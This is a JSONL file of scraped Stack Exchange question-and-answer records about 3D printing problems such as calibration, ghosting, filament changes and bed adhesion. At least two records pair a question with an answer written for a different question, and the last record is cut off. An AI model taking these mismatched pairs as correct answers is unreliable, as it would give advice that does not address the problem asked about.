{"id": "hf_d04e35f3fac7", "question": "<p>After a long time tweaking my new 3D printer I solved all the unexpected errors and I can print succesful pieces but I am facing a \"problem\", they are over sized, I found this problem trying to print a Raspberry Pi Case and an smartphone case, the printed pieces are bigger than the objects. </p>\n\n<p>Here some related information</p>\n\n<p><strong>Printer</strong>: Geeetech Prusa i3 Pro B</p>\n\n<p><strong>Firmware</strong>: <a href=\"https://github.com/amendezcabrera/geeetech-prusa-i3-pro-b-firmware\" rel=\"noreferrer\">My GitHub</a> (Marlin)</p>\n\n<p><strong>Software</strong>: Repetier Host with Slic3r</p>\n\n<p>Does somebody know how could I solve it?\nThank you very much</p>\n", "question_body": "", "answer": "You have to know:\ndistance between belt teeth (usually 2mm)\nnumber of teeth on pulley\nmotor step angle 1.8 deg?\nmicrostepping count, probably 16?\nThen you can enter all these numbers info the calculator here:\nhttps://www.prusaprinters.org/calculator/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:54.987078"}
{"id": "hf_cffdf9a0ca52", "question": "<p>I have a Monoprice Select Mini v2 and it came with a 256 MB SD card. I have a bunch of 16 GB cards. I have made sure that the new SD card has a FAT32 filesystem. I copy the gcode file onto this card and when I put it in the printer, it can't find any files!</p>\n\n<p>And yes, the file is at the root level of the filesystem and it uses the proper naming convention. The file works on the old card.</p>\n\n<p>Since the old card still works, this isn't an emergency, but I want to have a backup and I don't have any other cards that small.</p>\n", "question_body": "", "answer": "The maximum size is 32 GB, however using microSD has a little disadvantage:\nThe microSD adapter and Micro memory are wrong assembled and the chip are unable to be read.\nSolution: stick with a tape adhesive to keep Micro memory and SD adapter well aligned\nThe SD adapter can't be read on the 3D printer\nSolution: Add an extra tape adhesive over the SD adapter just like sticker, to make tight the assembly inside the reader.\nClean the contacts of the SD adapter, normally has the same issue like nintendo cartridge.\nI´m planning to get a bunch of SD cards instead microSD's, none of SD 8 GB and 16 GB are failing due wrong contact assembly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.011166"}
{"id": "hf_2b1e770ae388", "question": "<p>I am still at calibration stage and need some info from the PCB. I connected the USB and ran Repetier. The PCB wants to talk at a higher baud rate than my serial port says it can do. I tried setting the serial port to its highest setting 125k and reduced the PCB baud in Repetier setting to 125k. No joy. PC port reverts to 9600 every time I check it. Thoughts?</p>\n\n<p>PC running Windows 7 Home Premium 32bit.</p>\n", "question_body": "", "answer": "Are you sure that the A8 connects to a PC using a serial port? I don't know of any 3D printers that do that. Typically, 3D printers connect to PCs using a USB connection, and there will be a type-B USB socket on the printer.\nHowever, there will be a USB bridge chip on the printer's controller board that connects the microcontroller to the USB socket. This bridge chip does have a serial port that is used to communicate with the microcontroller. Typically, these serial ports operate at 115,200 bits per second (115.2 kbps), although this may vary. Some USB bridge chips are capable of operating at 250kbps.\nOften, the software running on the PC needs to know what speed the serial port on the bridge chip runs at, in order to send data at a suitable rate. Of course, the USB connection is capable of handling data at a much higher rate, but the microcontrollers used in many 3D printers are not capable of handling such speeds.\nNote that the USB bridge chip on the printer may appear as a virtual COM port on a PC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.047489"}
{"id": "hf_b08928e0c1b6", "question": "<p>I'm relatively new in the field of 3D printing and design. By now I've created and printed some technical objects with TinkerCAD, but now I've a task, which I don't know how to solve.</p>\n\n<p>I have the following model as STL-file:\n<a href=\"https://i.stack.imgur.com/o8Bn1.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/o8Bn1.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Now I want to \"adjust\" the arms of the model, as shown in the picture. I want the arms to hang besides the body. </p>\n\n<p>I know that I could cut and rotate the arms and then merge them again with TinkerCAD but the outcome dosn't look good and the workflow feels wrong.</p>\n\n<p>So what is the right tool/way to get this task done?</p>\n\n<p>*Disclaimer: I'm not Denis Almaral, but he released this model unter CC license. So I kept his name on the image to credit him, as requested via CC.</p>\n", "question_body": "", "answer": "Basically there's no good easy way to do this.\nAt this point you only have the mesh - a list of triangles - the 3D model you have does not contain the concept of joints or moving parts so it can't regenerate the shoulder after the rotation.\nThe original author may or may not have the ability to do this, depending on his workflow and software.\nIf all you have is the STL your only choice is to rotate the arm and then rebuild the shoulder from scratch and manually fix anything that doesn't look good", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.072548"}
{"id": "hf_1b6acecb61d5", "question": "<p>Here is my understanding of Coasting: Coasting stops extruding early in a move so that the string itself will finish the layer.</p>\n\n<p>Here is my understanding of Combing: Combing reduces the need to retract during travel moves by making sure that the nozzle oozes where you want it to on the way to the next point.</p>\n\n<p>I'm curious as to what types of prints these are good for, and also what types of prints these would be bad for.</p>\n\n<p>So for instance, Coasting is good for prints that have a high propensity to exhibit stringing, but what types of prints would I want coasting to be deselected for?</p>\n\n<p>Similarly for combing, although I know neither the pros nor cons other than it reduces the number of retractions (decreases wear on extruder?)</p>\n\n<p>In short, basically I'm looking for the pros and cons of both of these settings. Also if my understanding of the settings themselves is incorrect please let me know. Any advice would be much appreciated.</p>\n", "question_body": "", "answer": "If anything, combing and coasting allow to\nmitigate problems that are printer and filament specific\n, rather than dependent on particular STL models.\nCombing helps\n- as you imply in your question -\nwith materials prone to oozing\n(e.g. PETG)\nCoasting is particularly good for printers with a bowden extruders and low jerk/retraction speeds\n.  This is because in bowden extruders there is a lot of filament compressed between the teeth of the extruder servo and the nozzle, and that pressure doesn't instantly disappears when the printer stop \"pushing\" (i.e.: turning the extruder servo).\nI believe there are\nfirmware implementations where coasting is also used when approaching sharp corners\n.  This is to mitigate the problem of \"blobs\" forming there.  The mechanics of this are similar to those explained above: the pressure within the extruder cannot be instantly relieved and coasting accounts for that.  The only difference being that - because of the micro-scale of the problem - even non-bowden printers are prone to corner blobs.\nIn my experience (I look forward to other answers to \"compare notes\") there are\nvery few reasons not to use combing\n.  The only risk with it is that it increases the risk of the nozzle crashing into the print and destroying it.  It sound dramatic, but it is in practice it requires everything to work against you: a big blob on the previous layer, the nozzle passing exactly there, poor bed adhesion... for me that has proved problematic only when printing miniatures with a 0.2 mm nozzle and 0.05 mm layer height (on a cheap printer).\nThere is of course a\n(usually very small)\ntime penalty in combing\n, as it typically requires the nozzle to travel longer paths.\nIn my experience (again: YMMV, I look forward to more answers!)\nthe limitations of coasting are related to the way it is implemented\n.  For example, a given coasting setting may work great for getting rid of oozing, but will create under-extrusion in other parts of the print, as the calculations performed within the firmware may be spot-on for linear motion but inaccurate for corners, or vice-versa.\nI believe this is the reason while some popular slicers (like cura) have this setting hidden under \"experimental\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.132492"}
{"id": "hf_c06e9e18d12a", "question": "<p>So I am trying to get the XSD-Schema from this object. When I open the File I just get something like this code (snippet):</p>\n\n<pre><code>¸†2¡Q·2ºyƒeCã2ï…w ïÀ|¼ðAøä[0Ÿ |&gt;‚|ó‘å2²ºFƒ¼Æò1ùàåcj@Þ`ùÐ¸Ì{áÈ;0/|¾ \n ùÌ'Ÿ„ Á|d½¬¬¯Õ ¯±|l¾…­Œo@Þ`ùÐ¸Ì{áÈ;0/|¾ùÌ'Ÿ„ Á|d½œ¬¯Ó ¯±|h\\æ­Œo@Þ`ù¸|\n ßBs¦5–Œ~ôè»­£(™c´“Ç£[yp1:æ'Ã‰c4Jó Uâ˜ÍÇ&lt;h—8^'Ð¯É\n</code></pre>\n\n<p>What is this? How can I convert it back? I need to edit the structure manually.\n<br>Thank you in advance.</p>\n", "question_body": "", "answer": "Seems to be your are trying to edit a file with the wrong file editor.\nIf you have Microsoft® Windows® 8.1, you can print directly using the 3MF format included. Simply set the print options in the 3D Print PropertyManager and print to the 3D printer. A preview of the print bed and the model's location within the print bed lets you modify settings before committing to a 3D print job.\nTo access the 3D print dialog box and specify print options, click File > 3DPrint.  The print dialog box that is available depends on your installed 3D print driver.\nIf you need to get the STL you may need to use a file conversion,\nhere\nis a youtube tutorial to makeprintable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.169271"}
{"id": "hf_c9afe8cae7b8", "question": "<p>I am looking for a plastic which is transparent to radio waves.  I want to place my transmitter in a cylinder. That cylinder would be placed in a big RC plane  ( whose body is made up of cardboard). I want the plane to be both telemetry, and RC controlled.  That cylinder should allow the signals,  should be strong and light.<br>\nSo which material would you suggest and is that material easy to do 3d print? </p>\n", "question_body": "", "answer": "For the kind of application you are looking for, transparency to radio signal shouldn't really be an issue, so you are more or less free to choose whatever suits your taste better.\nLooking at the 3d printed drone community, the 3 most common materials I see being used there are:\nimpact-resistent PLA\nPETG\nABS\nThis order also match their \"ease of use\", with PLA being very easy to print even without heated bed, behaving well with glues in the assembly and being easy to paint on.  The impact resistance of \"though PLA\" still doesn't match that of - say - ABS, but is typically considered \"good enough\" for anything but the propellers.\nPETG is tougher. Print relatively easy (stringing and oozing being the typical problems) but it is known to be somewhat difficult to glue and paint.  It is also quite dense, so - dimensions being the same - it will weight more than PLA.\nFinally, ABS is a classic.  It is strong, durable, easy to finish (with acetone) but it is the most finicky material to print with, requiring an enclosure and proper ventilation (the fumes being toxic).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.217892"}
{"id": "hf_9df6afb3c4b1", "question": "<p>I am using python 3.6 with pySerial library to connect to the Hyrel System 30M 3D Printer. I am able to read the data from the device but unable to write any commands to it</p>\n\n<p>Here is the code:</p>\n\n\n\n<pre><code>    ser = serial.Serial()\n    ser.port = 'COM4'\n    ser.baudrate = 38400\n    out = ser.readline()\n    ser.write(b'M106 T14 S30\\n') %This is the command to turn on the fan at 30% power\n</code></pre>\n\n<p>Can somebody suggest me how to write commands to printer through python</p>\n", "question_body": "", "answer": "If the one in your question is your\ncomplete\ncode, a possibility is that your computer is just buffering the output for the serial port, withholding it in memory.  Try to add\n```\n```\nser.flush()\n```\n```\nafter your last line.  This command will... well...\nflush\nanything into the buffer through the actual connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.282067"}
{"id": "hf_9444b543daf0", "question": "<p><img src=\"https://i.stack.imgur.com/xE1dA.gif\" alt=\"enter image description here\"></p>\n\n<p>This is what is happening to my motor. Any suggestions would help. \n1. I have tried adjusting the trimpot. \n2. Rewire the connector to match the one on the motherboard.\n3. Anything else I found on the internet.</p>\n", "question_body": "", "answer": "If the one in your question is your\ncomplete\ncode, a possibility is that your computer is just buffering the output for the serial port, withholding it in memory.  Try to add\n```\n```\nser.flush()\n```\n```\nafter your last line.  This command will... well...\nflush\nanything into the buffer through the actual connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.305524"}
{"id": "hf_c8f9bf25aab5", "question": "<p>I would like to ask this in more of a general sense than anything, just for people to make note.</p>\n\n<p>I am printing out things for people and some files have some edges hanging out the side. I always worry, since it is printing in mid air, that it would screw up the print. But I was able to go, maybe 1mm(I am not to good with metric when it comes to guessing). My question is, how far at 90* from a wall can a printer pull off before it is necessary to have support? This would help me when slicing up files. </p>\n", "question_body": "", "answer": "It is typical for a 3D printer to be able to manage one-half the width of the nozzle for unsupported layer printing. This frequently calculates out to a realistic 45° from the start point.\nIf you are getting 1 mm extension from a 0.4 mm nozzle you are doing well. It's possible that the layers are not strongly bonded at the point of extension from the vertical wall, but are then strengthened by the layers printed above, if they do not extend excessively.\nIf your part is designed well, the extension will be distributed gradually over more than one layer, allowing that 1 mm extension over 2.5-3 layers without impacting the appearance of the model in an excessive manner.\nThe above does not apply to bridges, as it involves a different dynamic for the printer/slicer software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.328979"}
{"id": "hf_fe1a94cc4e00", "question": "<p>I am printing some minion chess pieces for my teacher at school and on every model I have found something called \"ghosting\", or at least I heard that is what it is called. For example there is a strap on the model for the pants. And going left and right there is very shallow \"straps\" or something happening. </p>\n\n<p>I am interested to know what causes this to happen and how to fix it. It is not super bad, but would be nice to fix.</p>\n", "question_body": "", "answer": "Ghosting is an artefact in the print due to the vibrations in the printer that are induced by rapid changes of direction\n.  It is important not to confuse them with inherent vibrations in the printer due for example to the belts being loose or the bearings not being in perfect order.\nThe good news is that it is relatively easy to tell them apart:\nghosting\n(also known as \"ringing\" or \"ripples\" or \"waves\" or a number of other names...)\nis always downstream of a change of direction, and fades rapidly\n.\nInherent vibrations - on the other hand - tend to be consistently present when printing along a given direction, and do not fade.\nMechanically, ghosting works like this:\nThe moving part is travelling along - for example - the x-axis, when suddenly the direction of movement becomes the y-axis.\nAt that moment, the stepper motor of the x-axis stop rotating, but the\nmomentum\nof the moving part stretches the belt even so slightly past the intended stop point.\nAt this moment the belt becomes like a rubber bend / spring, absorbs the kinetic energy of the moving mass and releases it by \"throwing\" it past the intended stop point in the other direction.\nThis keeps on repeating a number of times, but at each pass, some of the energy is dissipated, and the moving mass moves less end less away from the ideal stopping point.\nWhile all of the above is happening, the object has also begun to move along the y-axis, so the extruded plastic looks \"weavey\" along the y-axis.\nUnderstanding how this process works, makes it possible to understan why the three main factors affecting ghosting are:\nThe\namount of mass\nbeing moved\nThe\nspeed, acceleration and jerk\nsettings\nThe\nelasticity of the mechanical components\nNamely,\nmass and speed are important because their product is the momentum\n.  That in turn means that diminishing either one of the two will reduce the amount of \"overshooting\" past the stopping point.\nElasticity of the mechanical components is important as\nthe more flex/stretch the part can take for a given amount of force, the more overshooting\na given momentum will result in.\nFinally,\nacceleration and jerk are important because\n- simplifying things a bit -\nthe faster the change of direction happens, the less time the system has to adjust\nwithout vibrating.\nSo, concretely... what can you do to fix/reduce ghosting?  Three things, of course! :)\nReduce the mass being moved\n.  Depending on the geometry of your printer, the mass being moved could be the bed+print, the printing head, or an entire gantry.  These are normally considerations done when designing the printer itself, and engineers normally mitigate problems by using lighter materials (plastic over metal, aluminium or carbon fiber over steel, etc...), or adopting different designs (like using a Bowden extruder instead of a direct one, to save the weight of the stepper motor).\nReduce speed, acceleration and/or jerk\n.  Speed is normally the safest bet, as - besides your prints taking longer - there is really no penalty for it.  Acceleration and jerk - on the other hand - can cause overestrusion at sharp corners.\nReduce the elasticity of the system\n.  This is commonly achieved by tightening the belts and eventually switching to more rigid rods / tracks / rails.\nA couple of resources that may come in handy for you to understand and solve the problem better:\nA\nreally nice article\nwith illustrations (two of which I \"stole\" for this post)\nA\ntest model\nspecifically designed to highlight any possible ringing problem with the printer.\nA\nvideo\nshowing lots of different test prints done with various settings (very useful to understand how changing the above parameters affects the print).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.376143"}
{"id": "hf_da046d458c60", "question": "<p>Anet A8 with Cura. First time use. The extrusion temperature is set at 190 °C for PLA but the temperature never quite gets that hot, e.g. 189.2 °C. So the printer never prints.</p>\n<p>The bed temperature is fine.</p>\n<p>Any suggestions on how to fix?</p>\n", "question_body": "", "answer": "Two common problems to look out for in this situation:\nMake sure that your\npart fan\n(the fan that is supposed to cool the filament you just extruded, and that does not start spinning until the print starts) do\nnot\nblow air on the hot end of your extruder.\nMake sure that your\nhot end is well insulated\n.  If available for your printer, silicone sleeves are the best:\notherwise the most common, universal and low-cost solution are cotton pads:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.401717"}
{"id": "hf_583633374c8e", "question": "<p>I saw an extruder mod on Amazon <em>\"EAONE 2 Pcs PTFE Teflon Tube (2 Meters) with 4 Pcs PC4-M6 Fittings for 3D Printer 1.75mm Filament (2.0mm ID/4.0mm OD)\"</em>\nAnybody know how this is fitted?  Is it simply tapping the feed hole on the top?</p>\n", "question_body": "", "answer": "Is\nthis\nwhat you are referring to?\nIf yes, the cold end of the extruder is nomally already tapped and you simply have to screw the new fitting in it.  The PTFE tube itself needs just to be fed through the hole in the fitting\nuntil it cannot go any further\n.\nFailing to do so will most likely result in a clog and/or leaking.\nIt is a self-locking mechanism, in order to release the tube you have to press\ndown\nthe plastic flange on top of the fitting while pulling\nup\nthe PTFE tube.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.437107"}
{"id": "hf_9b052258f600", "question": "<p>I had been printing with ABS and took the advice to alter the fan so I can see the filament when I am loading it into the cold end. It was tricky but doable. I am now trying with PLA and getting it to line up with the whole is a nightmare. Can the driving cog and guide wheel be moved? A couple of mm would stop the driving cog pushing the filament off line.</p>\n", "question_body": "", "answer": "I was having the same issue as you and know what you are talking about and there is a file that you should print that will help you (I have printed this).\nWhile the file says for the Anet A6, I think the extrude are the same on the Anet A8. It goes under the gear and bearing and guides the filament to the hole. Should work well for you.\nOther things that you can do is straighten out the filament. That is what I do, it helps that much more. You can also cut the end at a angle to sharpen the end with a pencil sharpener, also helps find the hole.\nSo try the file, I think it will help you would.\nFile -->\nhttps://www.thingiverse.com/thing:2242903", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.460759"}
{"id": "hf_27de54d78eb8", "question": "<p>I have a homemade 3D printer running on ramps 1.4\nWhen i start a new print and the hotend reaches melting point of PLA, the PLA start coming out of the hotend.<br>\nThis goes on for as long as the temperature is kept above melting point, without moving the extrusion gear.   </p>\n\n<p>The extruder is a bowden type.<br>\nHotend is a J-head.<br>\nI am currently using simplify if that makes any difference regarding configuration.</p>\n\n<p>Any ideas what to do to prevent this from happening?</p>\n", "question_body": "", "answer": "Does it really go on for more than a minute or so?  You can't get filament from nowhere, so if the feed gear isn't moving, sooner or later all the material in the reservoir inside the nozzle & hotend will be melted and gone.  Leakage like this is normal, and probably a lot more noticeable if you have a larger diameter nozzle.\nI would recommend checking to see if your gcode includes a large retraction at the end of the print.  That would reduce the pressure and the amount of material left inside the hotend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.483921"}
{"id": "hf_2e76774b8818", "question": "<p>I'd like to attach a piece I printed out of PLA to a small titanium rod. I've previously used Superglue (cyanoacrylate) to glue PLA pieces to each other with great success, but the problem is that if you don't apply it perfectly cleanly, it leaves very noticeable stains on the PLA.</p>\n\n<p>Can anyone recommend a good glue for this application that won't leave stains like that? </p>\n", "question_body": "", "answer": "I've been a fan of epoxies for unusual adhesion problems. I found on\nAmazon a product with titanium\nin the name, but there's a caution regarding polypropylene plastics.\nPLA is not of that family of plastic, which gives it a good chance of success. Epoxy is typically more viscous than cyanoacrylates, giving you a bit more control of the application, but also creating the need for care with \"ooze-out.\"\nThe big glue company, Gorilla, also makes an\nepoxy\nthat includes plastic and metal in the adhesion listing.\nAs PLA is somewhat sensitive to heat, one would consider that fast-cure epoxies generate more heat than slow-cure epoxy, but the amounts you'll be using are not likely to create enough for concern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.507546"}
{"id": "hf_763fee5ea4eb", "question": "<p>I read that the best way of removing ABS was to let the temperature at the hot end to drop to around 190deg c then a sharp pull. This worked really well. I am trying to print with PLA but no matter what temperature I drop the hot end to I get left with a length of PLA in the feeder tube. OK I can heat the hot end and poke the excess down with a wire but that is a pain. I think the technique is right but the temperature is wrong. Any help great fully appreciated.</p>\n", "question_body": "", "answer": "One resource you can use is called the\nnylon cleaning method\n. It works by setting nylon filament temperatures, pushing nylon filament into the nozzle until only nylon is extruding, then cooling the hot end to a specific temperature. The page linked suggests a hard yank, but I disagree. Brutality is not a recommended action for 3D printers, in my opinion. When I use the NCM and the hot end reaches the correct cooler temperature, I use pliers and lever them against a suitable surface. The lever action is slower, yet the mechanical advantage is increased, making removal easier.\nSome 3D printer users disagree with the expense of nylon, which is, on the surface, excessive. I've found that I am able to see light through the hot-end after using this method, however, so I find the expense justified by a completely clean filament path.\nThe above linked page also includes the modification of this method for use with the same type of filament to be cleaned, in your case PLA.\nConsider that you should be able to use ABS to pull PLA from the nozzle. Heat the nozzle to the lower end of your ABS filament temperature and push or extrude until you get the ABS color. Allow the hot end to cool to the low end of PLA temperatures and reverse the extruder/pull out the filament.\nIf you use contrasting color filament (for example, white PLA, black ABS) you should be able to see the ABS collecting the other color as you remove it. Eventually, you would have no contrasting color, indicating that the previous filament has been removed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.531880"}
{"id": "hf_7748e673c6ee", "question": "<p>Some filaments suggest \"reducing cross-sectional area\" of the print. Is this referring to the vertical plane or horizontal plane? In other words, if I were to print a rectangular prism, would I want the long side of it printed in the vertical direction or parallel to the print bed?</p>\n", "question_body": "", "answer": "One resource you can use is called the\nnylon cleaning method\n. It works by setting nylon filament temperatures, pushing nylon filament into the nozzle until only nylon is extruding, then cooling the hot end to a specific temperature. The page linked suggests a hard yank, but I disagree. Brutality is not a recommended action for 3D printers, in my opinion. When I use the NCM and the hot end reaches the correct cooler temperature, I use pliers and lever them against a suitable surface. The lever action is slower, yet the mechanical advantage is increased, making removal easier.\nSome 3D printer users disagree with the expense of nylon, which is, on the surface, excessive. I've found that I am able to see light through the hot-end after using this method, however, so I find the expense justified by a completely clean filament path.\nThe above linked page also includes the modification of this method for use with the same type of filament to be cleaned, in your case PLA.\nConsider that you should be able to use ABS to pull PLA from the nozzle. Heat the nozzle to the lower end of your ABS filament temperature and push or extrude until you get the ABS color. Allow the hot end to cool to the low end of PLA temperatures and reverse the extruder/pull out the filament.\nIf you use contrasting color filament (for example, white PLA, black ABS) you should be able to see the ABS collecting the other color as you remove it. Eventually, you would have no contrasting color, indicating that the previous filament has been removed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.555766"}
{"id": "hf_b6905d6a24ed", "question": "<p>I realize this issue (warping) has been repeatedly addressed on this site. I've just graduated to high-temp filaments (PC in particular). I don't know much of the physics of this. I'm wondering whether the degree to which the filament contracts is proportional to the amount that it cools. If the answer is yes, then wouldn't it suggest that a lower printing temperature might reduce warping-as the temperature interval over which the filament cools is smaller? Or perhaps the difference is negligible?</p>\n\n<p>Also, I see a lot of emphasis placed on good first layer adhesion. Is this still an issue if you are printing on a raft?</p>\n", "question_body": "", "answer": "I can't address polycarbonate specifically, but can provide a general overview of the higher temperature filament considerations.\nPrinting on a raft means that the adhesion temperature of the filament is accomplished. This temperature is the factor to be considered if you are thinking of dropping the printing temperature. If you drop below recommended minimums, you risk losing adhesion to the build plate and also inter-layer bonding. That alone means one should use caution when dropping printing temperatures.\nPrinting with a raft usually means the model's individual parts have such a small footprint that they would not remain bonded to the build plate. Rafts are also used on printers with an uncertain planar surface or irregularities in the surface. That's not applicable to this question, generally speaking.\nYour question about contraction being proportional to the amount of cooling is perhaps misdirected. One could consider that the printing temperature is a manufacturer specified value and the cooled temperature would be generally considered room temperature. Room temperature would be addressed as a range, rather than a single value, but even as a range, there isn't going to be a big percentage of variation in the calculation involving the print temp/room temp.\nMy experience with the higher temperatures is more related to the volume of material per cross section (in all three dimensions). A printed model of substantial height with a relatively small horizontal cross section (think cylinder) is likely to have much less distortion in the x/y plane and greater distortion along the z-axis. The mass of filament cooling in the z-direction generates greater force than the smaller mass on the x/y axes.\nAnother factor in such thought processes is that layers are on the x/y axes and the strength of the extruded plastic is more homogeneous through the nozzle, while the z-direction creates inter-layer discontinuities, making warping and delamination easier.\nI've found that I can reduce (but not eliminate) warping and delamination if I am able to maintain chamber temperature for longer periods and reduce temperature slowly. Unfortunately, I have a semi-enclosed printer and the heat loss is dependent partly on the ambient air temperature. A fully enclosed heated printer with auxiliary heating under some form of control may give you the best results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.603447"}
{"id": "hf_bfd336f9afaa", "question": "<p>That's my first 3d printer. I'm using Repetier Host as the brand recomends, and set all the configuration as the recommended one. I decided to print one STL file but the result is not the best one.\nThat's what I was trying to print:\n<a href=\"https://i.stack.imgur.com/f1V22.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/f1V22.jpg\" alt=\"handle\"></a>\nand that's what I've got.\n<a href=\"https://i.stack.imgur.com/iPEfT.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iPEfT.jpg\" alt=\"cr*p print\"></a>\nHere you have a video of the impression. <a href=\"https://www.youtube.com/watch?v=HDdBQL44R3M\" rel=\"nofollow noreferrer\">it is a G2S pro rostock mini</a></p>\n", "question_body": "", "answer": "From the video it is very clear there is\na major problem with bed adhesion\n.\nIt also looks like you are printing on bare metal (aluminium?) which I never saw anybody doing. I must admit I don't know it is impossible or simply very rare, but the first thing I would try in your case is\ncovering the bed in painter's tape\nand wipe it with some alcohol\n.  This is a surefire method to get good adhesion with PLA, which - from the temperatures shown in the video I assume is what you are using.\nIf you haven't tried this before, you should know that:\nsome brands of tape work well even without being wiped with alcohol\nyou may need to readjust your nozzle height after having applied the tape\nUnless you have already done this, I would also suggest to print some\ntest cubes\nand possibly some\nstress tests\nas your first prints, in order to check that the basics (extrusion rate, dimensional accuracy...) are working correctly, as well as getting familiar with the limitats of your printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:55.628017"}
{"id": "hf_09241db07bf6", "question": "<p>I was wondering if adding (an) extra fan(s) (not connected to the printer, but blowing on the print area) could improve the quality of PLA based prints(printing at 210 C). The printer already has a built in fan with a fan shroud that directs air to the hotend, but is it beneficial to add an extra fan in order to get better results on overhangs, fine details, etc, or does extra cooling negatively/not affect print quality? </p>\n", "question_body": "", "answer": "The printer already has a built in fan with a fan shroud that directs air to the hotend\nUnless your printer is defective, it may look like so, but the airflow should really be directed towards the print, not the hot-end\n.  Cooling the hot-end will at best just waste energy, requiring extra heat to keep it hot, at worst affect your print quality negatively.\nis it beneficial to add an extra fan in order to get better results on overhangs?\nThe issue with external fans, not connected to the printer, is that you can't properly direct their ariflow, so:\nyou\nwill\ndirect some of it on the hot-end itself (see above on why that's not good)\nyou will potentially cool your print unevenly, which - depending from how much, how fast, and what type of filament you are using - may warp your prints\nThat said, depending from a number of factors, including your ability to position the fans appropriately,\nyou\nmay\ngain some benefit from them (I saw people doing this to help with PETG stringing), but I would recommend instead to upgrade the part fan of your printer (e.g.: larger diameter, higher RPM) and your duct (better focus on the extruded filament)\n, as these upgrades will have no drawbacks and will perform consistently on each part of the print.\nFor most common printer, there are printable mods that allow to do both, often available off thingiverse or on dedicated user community forums.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": 